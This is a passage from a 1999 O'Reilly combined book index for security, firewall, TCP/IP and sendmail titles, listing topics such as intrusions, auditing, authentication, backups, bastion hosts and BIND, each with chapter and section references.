hijacking : Building Internet Firewalls, 10.1.1. Hijacking
HOME variable attacks : Practical UNIX & Internet Security, 11.5.1.3. $HOME attacks
identifying and quantifying
Practical UNIX & Internet Security, 2.2.1.2. Identifying threats
Practical UNIX & Internet Security, 2.2.2. Review Your Risks
IFS variable attacks : Practical UNIX & Internet Security, 11.5.1.2. IFS attacks
intruders/attackers
Building Internet Firewalls, 1.2.1.1. Intrusion
Practical UNIX & Internet Security, 1. Introduction
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
(see also finger service)
(see also firewalls)
(see also TFTP)
confronting : Practical UNIX & Internet Security, 24.2.2. What to Do When You Catch Somebody
creating hidden files : Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
discovering
Practical UNIX & Internet Security, 24.2. Discovering an Intruder
Practical UNIX & Internet Security, 24.2.6. Anatomy of a Break-in
legal options regarding : Practical UNIX & Internet Security, 26.1. Legal Options After a Break-in
pursuing and capturing : Building Internet Firewalls, 13.3. Pursuing and Capturing the
recovering from : Building Internet Firewalls, 13.1.6. Restore and Recover
responding to
Practical UNIX & Internet Security, 24. Discovering a Break-in
Practical UNIX & Internet Security, 24.7. Damage Control
revealing DNS information to : Building Internet Firewalls, 8.10.4.3. Revealing too much information to
reviewing response strategies : Building Internet Firewalls, 13.4.8. Periodic Review of Plans
slower machines and : Building Internet Firewalls, 5.3.2. How Fast a Machine?
tracking from log files : Practical UNIX & Internet Security, 24.3. The Log Files: Discovering an Intruder's
types of : Building Internet Firewalls, 1.2.2. Types of Attackers
letting in accidentally : Practical UNIX & Internet Security, 11.4. Entry
logic bombs
Practical UNIX & Internet Security, 11.1.3. Logic Bombs
Practical UNIX & Internet Security, 27.2.2. Viruses on the Distribution Disk
mailing list for : Practical UNIX & Internet Security, E.1.3.9. RISKS
media failure : Practical UNIX & Internet Security, 7.1.4. Guarding Against Media Failure
meet-in-the-middle attacks : Practical UNIX & Internet Security, 6.4.5.1. Double DES
MUD/IRC client programs : Practical UNIX & Internet Security, 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
multiple failed attacks : Building Internet Firewalls, 12.2.3. The Good, the Bad, and the Ugly
newly created accounts : Practical UNIX & Internet Security, 24.4.1. New Accounts
NIS, unintended disclosure : Practical UNIX & Internet Security, 19.4.5. Unintended Disclosure of Site Information with NIS
notifying people about
Building Internet Firewalls, 13.1.4. Make `Incident in Progress'
Building Internet Firewalls, 13.4.4. Planning for Notification of People
TCP/IP Network Administration, 12.4.2. Looking for Trouble
TCP/IP Network Administration, 12.4.2.2. Checking login activity
with NNTP : Practical UNIX & Internet Security, 17.3.13. Network News Transport Protocol (NNTP) (TCP Port
open (guest) accounts
Practical UNIX & Internet Security, 8.1.4. Open Accounts
Practical UNIX & Internet Security, 8.1.4.6. Potential problems with rsh
password attacks : Building Internet Firewalls, 10.3.1. One-Time Passwords
PATH variable attacks : Practical UNIX & Internet Security, 11.5.1.1. PATH attacks
plaintext attacks : Practical UNIX & Internet Security, 6.2.3. Cryptographic Strength
playback (replay) attacks : Practical UNIX & Internet Security, 19.6.1.2. Using the ticket granting ticket
practicing drills for : Building Internet Firewalls, 13.5.7. Doing Drills
programmed
Practical UNIX & Internet Security, 11. Protecting Against Programmed Threats
Practical UNIX & Internet Security, 11.6.2. Shared Libraries
Practical UNIX & Internet Security, A.1.1.10. Chapter 11: Protecting Against Programmed Threats
Practical UNIX & Internet Security, D.1.4. Computer Viruses and Programmed Threats
authors of : Practical UNIX & Internet Security, 11.3. Authors
damage from : Practical UNIX & Internet Security, 11.2. Damage
recovering from : Building Internet Firewalls, 13.1.6. Restore and Recover
planning to : Building Internet Firewalls, 13.4.6. Planning for Restoration and Recovery
replay attacks : Practical UNIX & Internet Security, 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
responding to
Building Internet Firewalls, 12.2.5. Responding to Attacks
Building Internet Firewalls, 13. Responding to Security Incidents
reviewing response strategies : Building Internet Firewalls, 13.4.8. Periodic Review of Plans
rsh, problems with : Practical UNIX & Internet Security, 8.1.4.6. Potential problems with rsh
sendmail problems : Practical UNIX & Internet Security, 17.3.4.1. sendmail and security
spoofed network connection : Practical UNIX & Internet Security, 8.5.3.1. Trusted path
start-up file attacks
Practical UNIX & Internet Security, 11.5.2. Start-up File Attacks
Practical UNIX & Internet Security, 11.5.2.7. Other initializations
system clock : (see system clock)
theft : (see theft)
/tmp directory attacks : Practical UNIX & Internet Security, 25.2.4. /tmp Problems
toll fraud : Practical UNIX & Internet Security, 14.4.1. One-Way Phone Lines
traffic analysis : Practical UNIX & Internet Security, 18.4. Avoiding the Risks of Eavesdropping
tree-structure attacks : Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
Trojan horses
Practical UNIX & Internet Security, 4.3.5. Using su with Caution
Practical UNIX & Internet Security, 11.1.4. Trojan Horses
Practical UNIX & Internet Security, 11.5. Protecting Yourself
Practical UNIX & Internet Security, 17.3.21.2. X security
Practical UNIX & Internet Security, 19.6.5. Kerberos Limitations
Practical UNIX & Internet Security, 27.2.2. Viruses on the Distribution Disk
trusted hosts : (see trusted hosts)
types of : Building Internet Firewalls, 1.2. What Are You Trying To Protect
unattended terminals
Practical UNIX & Internet Security, 12.3.5. Unattended Terminals
Practical UNIX & Internet Security, 12.3.5.2. X screen savers
unowned files : Practical UNIX & Internet Security, 24.4.1.8. Unowned files
vandalism
Practical UNIX & Internet Security, 12.2.4. Vandalism
Practical UNIX & Internet Security, 12.2.4.3. Network connectors
viruses
Building Internet Firewalls, 1.4.2.4. A firewall can't protect against
Practical UNIX & Internet Security, 11.1. Programmed Threats: Definitions
Practical UNIX & Internet Security, 11.1.5. Viruses
Practical UNIX & Internet Security, 27.2.2. Viruses on the Distribution Disk
bacteria programs : Practical UNIX & Internet Security, 11.1.7. Bacteria and Rabbits
references on : Practical UNIX & Internet Security, D.1.4. Computer Viruses and Programmed Threats
war and terrorism : Practical UNIX & Internet Security, 12.2.5. Defending Against Acts of War and Terrorism
weakness-finding tools : Practical UNIX & Internet Security, 11.1.1. Security Tools
by web browsers
Practical UNIX & Internet Security, 18.5. Risks of Web Browsers
Practical UNIX & Internet Security, 18.5.2. Trusting Your Software Vendor
worms : Practical UNIX & Internet Security, 11.1.6. Worms
audio data content : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
audio device : Practical UNIX & Internet Security, 23.8. Picking a Random Seed
audit IDs
Practical UNIX & Internet Security, 4.3.3. Other IDs
Practical UNIX & Internet Security, 10.1. The Basic Log Files
auditing
Building Internet Firewalls, 5.8.5. Running a Security Audit
Practical UNIX & Internet Security, 10. Auditing and Logging
(see also logs/logging)
C2 audit : Practical UNIX & Internet Security, 10.1. The Basic Log Files
checklist for : Practical UNIX & Internet Security, A.1.1.9. Chapter 10: Auditing and Logging
checksums
Building Internet Firewalls, 5.8.5.3. About checksums for auditing
Practical UNIX & Internet Security, 6.5.5.1. Checksums
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
TCP/IP Network Administration, 11.8. Protocol Case Study
keeping secure : Building Internet Firewalls, 13.5.3. Keeping Secured Checksums
recalculating
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
TCP/IP Network Administration, 5.3.1.1. Options
using Tripwire for : Building Internet Firewalls, 5.8.5.1. Auditing packages
employee access : Practical UNIX & Internet Security, 13.2.4. Auditing Access
login times : Practical UNIX & Internet Security, 10.1.1. lastlog File
of packages : Building Internet Firewalls, 5.8.5.1. Auditing packages
system activity : Practical UNIX & Internet Security, 2.1. Planning Your Security Needs
tools for : Building Internet Firewalls, B.2. Analysis Tools
user activity : Practical UNIX & Internet Security, 4.1.2. Multiple Accounts with the Same UID
who is logged in
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 10.1.2.1. su commandutmp and wtmp files andsu
AUTH_DES authentication : Practical UNIX & Internet Security, 19.2.2.3. AUTH_DES
AUTH_KERB authentication : Practical UNIX & Internet Security, 19.2.2.4. AUTH_KERB
AUTH_NONE authentication : Practical UNIX & Internet Security, 19.2.2.1. AUTH_NONE
AUTH_UNIX authentication : Practical UNIX & Internet Security, 19.2.2.2. AUTH_UNIX
authd service : Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
authdes_win variable : Practical UNIX & Internet Security, 19.3.1.3. Setting the window
authentication
Building Internet Firewalls, 10. Authentication and Inbound
Practical UNIX & Internet Security, 3.2.3. Authentication
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
TCP/IP Network Administration, 7.4.2. RIP Version 2
TCP/IP Network Administration, 9.3.2. NIS+
TCP/IP Network Administration, 12.2. User Authentication
(see also packets)
(see also users)
address-based : Building Internet Firewalls, 2.13. Window Systems
client, network filesystems and : Building Internet Firewalls, 2.12. Network File Systems
commercial systems for : Building Internet Firewalls, 10.4.3. Commercial Solutions
complete systems for : Building Internet Firewalls, 10.4. Complete Authentication
DES-encrypted : TCP/IP Network Administration, 9.3.2. NIS+
false : Building Internet Firewalls, 10.1.3. False Authentication
ID services : Practical UNIX & Internet Security, 16.3.3. Authentication
in pppd
TCP/IP Network Administration, 6.3.4. PPP Daemon Security
TCP/IP Network Administration, A.2. The PPP Daemon
Kerberos
Practical UNIX & Internet Security, 19.6.1. Kerberos Authentication
Practical UNIX & Internet Security, 19.6.1.4. Kerberos 4 vs. Kerberos 5
of logins : Practical UNIX & Internet Security, 17.3.5. TACACS (UDP Port 49)
message digests
Practical UNIX & Internet Security, 6.5.2. Using Message Digests
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
Practical UNIX & Internet Security, 23.5.1. Use Message Digests for Storing Passwords
NFS : Building Internet Firewalls, 8.14. Network File System
NIS+ : Practical UNIX & Internet Security, 19.5.4. Using NIS+
of remote logins : Building Internet Firewalls, 2.3. Remote Terminal Access and Command
RPCs
Practical UNIX & Internet Security, 19.2.2. RPC Authentication
Practical UNIX & Internet Security, 19.2.2.4. AUTH_KERB
Secure RPC : Practical UNIX & Internet Security, 19.3.1. Secure RPC Authentication
security standard for : Practical UNIX & Internet Security, 2.4.2. Standards
server : TCP/IP Network Administration, 9.1.5. NFS Authentication Server
TIS FWTK server : Building Internet Firewalls, 10.4.2. TIS FWTK
tools for : Building Internet Firewalls, B.1. Authentication Tools
types of : Building Internet Firewalls, 10.2. What Is Authentication?
for Web use : Practical UNIX & Internet Security, 18.3.3. Setting Up Web Users and Passwords
xhost facility : Practical UNIX & Internet Security, 17.3.21.3. The xhost facility
authenticators : Practical UNIX & Internet Security, 3.1. Usernames
AuthGroupFile option : Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
authoritative servers
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 3.3. Domain Name Service
TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
(see also nonauthoritative servers)
authors of programmed threats : Practical UNIX & Internet Security, 11.3. Authors
AuthRealm, AuthType, AuthUserFile options : Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
"Auto-Submitted:" header line : sendmail, 35.10. Alphabetized Reference
auto_direct file : TCP/IP Network Administration, 9.1.4. NFS Automounter
auto_home file : TCP/IP Network Administration, 9.1.4. NFS Automounter
auto_master file : TCP/IP Network Administration, 9.1.4. NFS Automounter
Auto_Mounter table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
AUTO_NIS_ALIASES macro : sendmail, 18.8. Alphabetized Reference
auto-revarp parameter : TCP/IP Network Administration, 6.1.5.5. Point-to-point
autofs script : TCP/IP Network Administration, 9.1.4. NFS Automounter
autologout shell variable : Practical UNIX & Internet Security, 12.3.5.1. Built-in shell autologout
Automated Systems Incident Response Capability (NASA) : Practical UNIX & Internet Security, F.3.4.24. Automated Systems Incident Response Capability
automatic
Practical UNIX & Internet Security, 11.5.3. Abusing Automatic Mechanisms
(see also at program; cron file)
account lockout : Practical UNIX & Internet Security, 3.3. Entering Your Password
backups system : Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
cleanup scripts (UUCP) : Practical UNIX & Internet Security, 15.6.2. Automatic Execution of Cleanup Scripts
directory listings (Web) : Practical UNIX & Internet Security, 18.2.2.2. Additional configuration issues
disabling of dormant accounts : Practical UNIX & Internet Security, 8.4.3. Finding Dormant Accounts
logging out : Practical UNIX & Internet Security, 12.3.5.1. Built-in shell autologout
mechanisms, abusing
Practical UNIX & Internet Security, 11.5.3. Abusing Automatic Mechanisms
Practical UNIX & Internet Security, 11.5.3.6. Other files
password generation : Practical UNIX & Internet Security, 8.8.4. Password Generators
power cutoff : (see detectors)
sprinkler systems : Practical UNIX & Internet Security, 12.2.1.1. Fire
wtmp file pruning : Practical UNIX & Internet Security, 10.1.3.1. Pruning the wtmp file
Automatic Call Unit (ACU) : TCP/IP Network Administration, 6.3.6. Solaris PPP
automount : TCP/IP Network Administration, 9.1.4. NFS Automounter
automounter daemon (automountd) : TCP/IP Network Administration, 9.1.4. NFS Automounter
autonomous systems (AS)
Building Internet Firewalls, C.10. Internet Routing Architecture
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 7.4. Interior Routing Protocols
defined : TCP/IP Network Administration, 7.5. Exterior Routing Protocols
external (ASE) routes
TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
TCP/IP Network Administration, B.8.1. The ospf Statement
TCP/IP Network Administration, B.10.1. The import Statement
types of : TCP/IP Network Administration, B.10.2. The export Statement
listing of : TCP/IP Network Administration, B.10. Control Statements
number (ASN)
TCP/IP Network Administration, 4.3.1. Obtaining an autonomous system number
TCP/IP Network Administration, B.7. Definition Statements
TCP/IP Network Administration, B.8.5. The bgp Statement
subdividing : TCP/IP Network Administration, 7.4.3. Open Shortest Path First
AutoRebuildAliases (D) option
sendmail, 24.5.3. Prevent Simultaneous Rebuilds
sendmail, 34.8. Alphabetized Reference
auxiliary (printer) ports : Practical UNIX & Internet Security, 12.3.1.4. Auxiliary ports on terminals
awk scripts
Practical UNIX & Internet Security, 11.1.4. Trojan Horses
Practical UNIX & Internet Security, 11.5.1.2. IFS attacks

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

b flag : sendmail, 30.8. Alphabetized F= Flags
B line (qf file) : sendmail, 23.9. The qf File Internals
$b macro
sendmail, 14.1.2. The Received: Header
sendmail, 31.10. Alphabetized Reference
$B macro : sendmail, 31.10. Alphabetized Reference
b option : sendmail, 34.8. Alphabetized Reference
B option
sendmail, 13.2.8. The Unquoted Space Replacement Character
sendmail, 28.2.3. Pasting Addresses Back Together
sendmail, 34.8. Alphabetized Reference
-b switch (sendmail)
sendmail, 4.1. Become a Mode (-b)
sendmail, 36.7. Alphabetized Reference
-ba switch : sendmail, 36.7. Alphabetized Reference
-bd switch
sendmail, 3.4. Role as a Daemon
sendmail, 4.1.1. Daemon Mode (-bd)
sendmail, 15.5. Prevent the Daemon from Running
sendmail, 36.7. Alphabetized Reference
-bD switch : sendmail, 36.7. Alphabetized Reference
-bh switch : sendmail, 36.7. Alphabetized Reference
-bH switch : sendmail, 36.7. Alphabetized Reference
-bi switch
sendmail, 4.1.3. Rebuild Aliases Mode (-bi)
sendmail, 24.5.1. Rebuild the Alias Database
sendmail, 36.7. Alphabetized Reference
-bm switch : sendmail, 36.7. Alphabetized Reference
-bp switch
sendmail, 4.1.2. Show Queue Mode (-bp)
sendmail, 36.7. Alphabetized Reference
-bs switch
sendmail, 14.6. Trusted User
sendmail, 36.7. Alphabetized Reference
-bt switch
sendmail, 5.2. The Minimal File
sendmail, 8.3. Rule Sets
sendmail, 36.7. Alphabetized Reference
sendmail, 38. Rule-Set Testing with -bt
-bv switch
sendmail, 4.1.4. Verify Mode (-bv)
sendmail, 36.7. Alphabetized Reference
-bz switch : sendmail, 36.7. Alphabetized Reference
-B switch (sendmail) : sendmail, 36.7. Alphabetized Reference
back doors
Practical UNIX & Internet Security, 2.5. The Problem with Security Through Obscurity
Practical UNIX & Internet Security, 6.2.3. Cryptographic Strength
Practical UNIX & Internet Security, 11.1. Programmed Threats: Definitions
Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
Practical UNIX & Internet Security, 11.5. Protecting Yourself
Practical UNIX & Internet Security, 27.1.2. Trusting Trust
in MUDs and IRCs : Practical UNIX & Internet Security, 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
back-off algorithms : TCP/IP Network Administration, 9.4. A BOOTP Server
backbones
TCP/IP Network Administration, 7.4.3. Open Shortest Path First
TCP/IP Network Administration, 7.7.1.2. Interior gateway configurations
background checks, employee : Practical UNIX & Internet Security, 13.1. Background Checks
background delivery mode : sendmail, 13.2.3. The Default Delivery Mode
backquotes in CGI input
Practical UNIX & Internet Security, 18.2.3.2. Testing is not enough!
Practical UNIX & Internet Security, 18.2.3.3. Sending mail
backslash (\)
escaping newline characters
TCP/IP Network Administration, 9.2.1. The printcap File
TCP/IP Network Administration, A.3. chat
TCP/IP Network Administration, C.3.1. Standard Resource Records
in header fields : sendmail, 35.3.2. Escape Character in the Header Field
mail command and : Practical UNIX & Internet Security, 15.1.3. mail Command
in rules : sendmail, 28.1.2.1. Backslashes in rules
in UUCP addresses
sendmail, 17.1.4. UUCP Addresses
sendmail, 19.6. Alphabetized m4 Macros
BACKSPACE key : Practical UNIX & Internet Security, 3.4. Changing Your Password
backup program : Practical UNIX & Internet Security, 7.4.3. Specialized Backup Programs
backups
Building Internet Firewalls, 3.1. Least Privilege
Building Internet Firewalls, 5.10. Protecting the Machine and Backups
Building Internet Firewalls, 13.5.1. Backing Up Your Filesystems
Practical UNIX & Internet Security, 7. Backups
Practical UNIX & Internet Security, 7.4.7. inode Modification Times
Practical UNIX & Internet Security, 9.1.2. Read-only Filesystems
Practical UNIX & Internet Security, 24.2.2. What to Do When You Catch Somebody
across networks : Practical UNIX & Internet Security, 7.4.5. Backups Across the Net
archiving information : Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
automatic
Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
Practical UNIX & Internet Security, 18.2.3.5. Beware stray CGI scripts
checklist for : Practical UNIX & Internet Security, A.1.1.6. Chapter 7: Backups
criminal investigations and : Practical UNIX & Internet Security, 26.2.4. Hazards of Criminal Prosecution
critical files
Practical UNIX & Internet Security, 7.3. Backing Up System Files
Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
encrypting
Practical UNIX & Internet Security, 7.4.4. Encrypting Your Backups
Practical UNIX & Internet Security, 12.3.2.4. Backup encryption
of firewalls : Building Internet Firewalls, 12.1.1. Backing Up Your Firewall
hardcopy : Practical UNIX & Internet Security, 24.5.1. Never Trust Anything Except Hardcopy
keeping secure
Practical UNIX & Internet Security, 2.4.2. Standards
Practical UNIX & Internet Security, 2.4.3. Guidelines
Practical UNIX & Internet Security, 7.1.6. Security for Backups
Practical UNIX & Internet Security, 7.1.6.3. Data security for backups
Practical UNIX & Internet Security, 26.2.6. Other Tips
laws concerning : Practical UNIX & Internet Security, 7.1.7. Legal Issues
of log files : Practical UNIX & Internet Security, 10.2.2. Accounting with BSD
logs and : Building Internet Firewalls, 5.10.2. Do Secure Backups
retention of
Practical UNIX & Internet Security, 7.1.5. How Long Should You Keep a Backup?
Practical UNIX & Internet Security, 7.2. Sample Backup Strategies
Practical UNIX & Internet Security, 7.2.5. Deciding upon a Backup Strategy
rotating media : Practical UNIX & Internet Security, 7.1.3. Types of Backups
software for
Practical UNIX & Internet Security, 7.4. Software for Backups
Practical UNIX & Internet Security, 7.4.7. inode Modification Times
commercial : Practical UNIX & Internet Security, 7.4.6. Commercial Offerings
special programs for : Practical UNIX & Internet Security, 7.4.3. Specialized Backup Programs
strategies for
Practical UNIX & Internet Security, 7.2. Sample Backup Strategies
Practical UNIX & Internet Security, 7.2.5. Deciding upon a Backup Strategy
Practical UNIX & Internet Security, 10.8. Managing Log Files
theft of
Practical UNIX & Internet Security, 12.3.2. Protecting Backups
Practical UNIX & Internet Security, 12.3.2.4. Backup encryption
using to restore system : Building Internet Firewalls, 13.1.6. Restore and Recover
verifying : Practical UNIX & Internet Security, 12.3.2.1. Verify your backups
zero-filled bytes in : Practical UNIX & Internet Security, 7.4. Software for Backups
backward compatibility : sendmail, D.2. Backward Compatibility
bacteria
Practical UNIX & Internet Security, 11.1. Programmed Threats: Definitions
Practical UNIX & Internet Security, 11.1.7. Bacteria and Rabbits
"Bad file number" error : sendmail, 6.2.1. Testing the client.cf File
"bad ruleset definition" error : sendmail, 29.1.3. Associate Number with Name
BADSU attempts : (see sulog file)
Baldwin, Robert : Practical UNIX & Internet Security, 6.6.1.1. The crypt program
bandwidth
increasing : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
using efficiently
TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
TCP/IP Network Administration, 8.3.1.1. Configuring a caching-only nameserver
bang (!) and mail command : Practical UNIX & Internet Security, 15.1.3. mail Command
base64 encoding type
sendmail, 18.8. Alphabetized Reference
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
Bash shell (bsh) : Practical UNIX & Internet Security, 8.1.4.4. No restricted bash
basic audio subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
Basic Encoding Rules (BER) : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
Basic Networking Utilities : (see BNU UUCP)
basic terminology : (see terminology, importance of using standard)
bastion hosts
Building Internet Firewalls, 4.1. Some Firewall Definitions
Building Internet Firewalls, 4.2.3.2. Bastion host
Building Internet Firewalls, 5. Bastion Hosts
Practical UNIX & Internet Security, 21.1.3. Anatomy of a Firewall
TCP/IP Network Administration, 12.7. Firewalls
backups of : Building Internet Firewalls, 5.10. Protecting the Machine and Backups
building : Building Internet Firewalls, 5.8. Building a Bastion Host
fake DNS server on : Building Internet Firewalls, 8.10.5.1. Set up a `fake'
graphics on : Building Internet Firewalls, 5.3.3. What Hardware Configuration?
internal : Building Internet Firewalls, 5.2.3. Internal Bastion Hosts
on internal firewalls : Building Internet Firewalls, 4.4.6. An Internal Firewall May or May Not
isolating : Building Internet Firewalls, 4.2.3. Screened Subnet Architecture
merging with exterior router : Building Internet Firewalls, 4.3.3. It's OK to Merge
merging with interior router : Building Internet Firewalls, 4.3.4. It's Dangerous to Merge the Bastion
multiple : Building Internet Firewalls, 4.3.1. It's OK to Use
network location of : Building Internet Firewalls, 5.5. Locating the Bastion Host on the Network
as news server : Building Internet Firewalls, 8.5.3. Dangerous Ways to Set up
nonrouting dual-homed : Building Internet Firewalls, 5.2.1. Nonrouting Dual-homed Hosts
operating : Building Internet Firewalls, 5.9. Operating the Bastion Host
physical location of : Building Internet Firewalls, 5.4. Choosing a Physical Location
selecting services for : Building Internet Firewalls, 5.6. Selecting Services Provided by the
Sendmail on
Building Internet Firewalls, 8.1.1.2. Why does Sendmail have security
Building Internet Firewalls, 8.1.1.6. Configuring SMTP to
speed of : Building Internet Firewalls, 5.3.2. How Fast a Machine?
usage profile : Building Internet Firewalls, 5.9.1. Learn What the Normal Usage Profile Is
user accounts on : Building Internet Firewalls, 5.7. Don't Allow User Accounts on the
batch jobs
Practical UNIX & Internet Security, 25.2.1.2. System overload attacks
sendmail, 38.8. Batch Rule-Set Testing
(see also cron file)
baud : Practical UNIX & Internet Security, 14.1. Modems: Theory of Operation
"Bcc:" header line : sendmail, 35.10. Alphabetized Reference
bell (in Swatch program) : Practical UNIX & Internet Security, 10.6.2. The Swatch Configuration File
Bellcore : Practical UNIX & Internet Security, F.3.4.5. Bellcore
Berkeley db : (see db library package)
Berkeley Internet Name Domain : (see BIND)
Berkeley Software Distribution : (see BSD)
Berkeley UNIX : (see BSD UNIX)
Berkeley vendor specification : sendmail, 27.5.1. The vendor
Berkeley's sendmail : (see sendmail)
bestmx database class : sendmail, 33.8. Alphabetized Reference
bestmx_is_local feature : sendmail, 19.6. Alphabetized m4 Macros
BGP (Border Gateway Protocol)
TCP/IP Network Administration, Preface
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 4.3.1. Obtaining an autonomous system number
TCP/IP Network Administration, 7.5. Exterior Routing Protocols
TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
enabling (in gated)
TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
TCP/IP Network Administration, B.10. Control Statements
inside autonomous systems : TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
statement (in gated) : TCP/IP Network Administration, B.8.5. The bgp Statement
bi-lateral agreements : TCP/IP Network Administration, 2.4. Internet Routing Architecture
bidirectionality
Building Internet Firewalls, 6.2.1. Protocols Are Usually
Practical UNIX & Internet Security, 14.1. Modems: Theory of Operation
Practical UNIX & Internet Security, 14.4.1. One-Way Phone Lines
bigcrypt algorithm : Practical UNIX & Internet Security, 8.6.4. Crypt16() and Other Algorithms
/bin directory
Practical UNIX & Internet Security, 11.1.5. Viruses
Practical UNIX & Internet Security, 11.5.1.1. PATH attacks
backing up : Practical UNIX & Internet Security, 7.1.2. What Should You Back Up?
/bin/csh : (see csh)
/bin/ksh : (see ksh)
/bin/login : (see login program)
/bin/mail : (see mail program)
/bin/passwd : (see passwd command)
/bin/sh : (see sh)
in restricted filesystems : Practical UNIX & Internet Security, 8.1.5. Restricted Filesystem
binary encoding type : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
binary code : Practical UNIX & Internet Security, 11.1.5. Viruses
BIND (Berkeley Internet Name Domain)
Building Internet Firewalls, 8.10. Domain Name System
TCP/IP Network Administration, Preface
TCP/IP Network Administration, UNIX Versions
TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
TCP/IP Network Administration, 8.1. BIND: UNIX Name Service
TCP/IP Network Administration, 11.2. Diagnostic Tools
configuration types : TCP/IP Network Administration, 8.1.1. BIND Configurations
debugging : TCP/IP Network Administration, 8.4. Using nslookup
resource on : sendmail, Other Books, Other Problems
bind system call
Practical UNIX & Internet Security, 16.2.6.1. DNS under UNIX
Practical UNIX & Internet Security, 17.1.3. The /etc/inetd Program
BINDIR= directive : sendmail, 18.4.7. BINDIR=
biological threats : Practical UNIX & Internet Security, 12.2.1.7. Bugs (biological)
bit masks : TCP/IP Network Administration, 2.2.2. Classless IP Addresses
bit sets : TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
bitdomain feature : sendmail, 19.6. Alphabetized m4 Macros
BITNET addresses : sendmail, 19.6. Alphabetized m4 Macros
BITNET-RELAY macro (m4)
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 31.10. Alphabetized Reference
BITNET_SITECONFIG macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
blackhole
interface : TCP/IP Network Administration, B.6. Interface Statements
route : TCP/IP Network Administration, B.9. static Statements
BlankSub (B) option
sendmail, 13.2.8. The Unquoted Space Replacement Character
sendmail, 28.2.3. Pasting Addresses Back Together
sendmail, 34.8. Alphabetized Reference
blind carbon copy : sendmail, 35.10. Alphabetized Reference
block devices : Practical UNIX & Internet Security, 5.6. Device Files
block send commands : Practical UNIX & Internet Security, 11.1.4. Trojan Horses
blocking systems : Practical UNIX & Internet Security, 19.2. Sun's Remote Procedure Call (RPC)
BNU UUCP
Practical UNIX & Internet Security, 15.5. Security in BNU UUCP
Practical UNIX & Internet Security, 15.5.3. uucheck: Checking Your Permissions File
BODY parameter (ESMTP)
sendmail, 31.10. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
body, message : sendmail, 1.6. The Body
B line (qf file) : sendmail, 23.9. The qf File Internals
in queue
sendmail, 3.1.2. The Queue Directory
sendmail, 23.2.2. The Data (Message Body) File: df
${bodytype} macro : sendmail, 31.10. Alphabetized Reference
Boeing CERT : Practical UNIX & Internet Security, F.3.4.5. Bellcore
bogus qf files : sendmail, 23.3. A Bogus qf File (V8 only): Qf
bogusns command
Practical UNIX & Internet Security, 17.3.6.2. DNS nameserver attacks
TCP/IP Network Administration, 11.6.3. Cache corruption
TCP/IP Network Administration, C.2. named.boot Configuration Commands
bookptab file
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, 9.6.1. rdist
configuration parameters : TCP/IP Network Administration, 9.4.2. BOOTP extensions
updating : TCP/IP Network Administration, 9.4.2. BOOTP extensions
Boolean values
arguments, Boolean-type : sendmail, 34.5. Option Argument Types
in dhcpd parameters : TCP/IP Network Administration, 9.5.1. dhcpd.conf
in printcap parameters : TCP/IP Network Administration, 9.2.1. The printcap File
boot
Building Internet Firewalls, 5.8.2.4. Which services should you disable?
TCP/IP Network Administration, 9.4. A BOOTP Server
scripts, starting daemons from : TCP/IP Network Administration, 9.1.1. NFS Daemons
viruses : Practical UNIX & Internet Security, 11.1.5. Viruses
BOOTP (Bootstrap Protocol)
TCP/IP Network Administration, Preface
TCP/IP Network Administration, 3.6. Bootstrap Protocol
TCP/IP Network Administration, A.1.1. The dip Script File
bootpd (BOOTP daemon) : TCP/IP Network Administration, 9.4. A BOOTP Server
bootpd file : TCP/IP Network Administration, 9.6.1. rdist
bootp-2.4.3.tar file : TCP/IP Network Administration, 9.4.2. BOOTP extensions
bootp-DDS2.4.3.tar file : TCP/IP Network Administration, 9.4. A BOOTP Server
bootpgw (BOOTP gateway) : TCP/IP Network Administration, 9.4.1. BOOTP gateway
bootptab file
TCP/IP Network Administration, 9.4. A BOOTP Server
